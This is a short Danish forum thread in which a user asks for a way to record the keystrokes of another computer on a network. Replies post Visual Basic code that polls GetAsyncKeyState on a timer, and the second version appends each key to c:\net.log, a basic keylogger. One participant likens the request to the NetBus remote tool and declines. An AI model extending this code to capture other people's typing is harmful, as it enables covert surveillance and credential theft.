Sende data

Nu er det vel ikke en NETBUS du er ved at lave.

Nej det er ikke det er jo ulovligt!

jep, når så prøv koden her:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Public Function GetPressedKey() As String
Dim i As Long
  For i = 32 To 128
    If GetAsyncKeyState(i) = -32767 Then
        GetPressedKey = Chr$(i)
      Exit For
    End If
  Next i
End Function

Private Sub Form_Load()
  Timer1.Interval = 50
End Sub

Private Sub Timer1_Timer()
  Me.Caption = GetPressedKey
End Sub

Ja det virker men det skal jo være sådan at man lægger en client ind på en anden computer på netværket så man kan se (på serveren) hvilke taster CLIENTEN trykker på og det skal lægges som log i en textfil(hvis du forstår mig)...

For mig lyder det som en NETBUS ("sådan at man lægger en client ind på en anden computer") det må du rode med selv.

og hvad skal det gøre godt for.

Det skal jo ikke virke over nettet men kun over hjemmenetværk!

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Public Function GetPressedKey() As String
Dim i As Long
  For i = 32 To 128
    If GetAsyncKeyState(i) = -32767 Then
        GetPressedKey = Chr$(i)
      Exit For
    End If
  Next i
End Function

Private Sub Form_Load()
  Timer1.Interval = 50
End Sub

Private Sub Timer1_Timer()
Dim LenFile As Long
Dim FilePath As String
Dim KeyNow As String
  FilePath = "c:\net.log"
  KeyNow = GetPressedKey
  If KeyNow <> "" Then
    Open FilePath For Binary As #1
      LenFile = FileLen(FilePath) + 1
      Put #1, LenFile, KeyNow
    Close #1
  End If
End Sub

Det virker ikke... Lukker.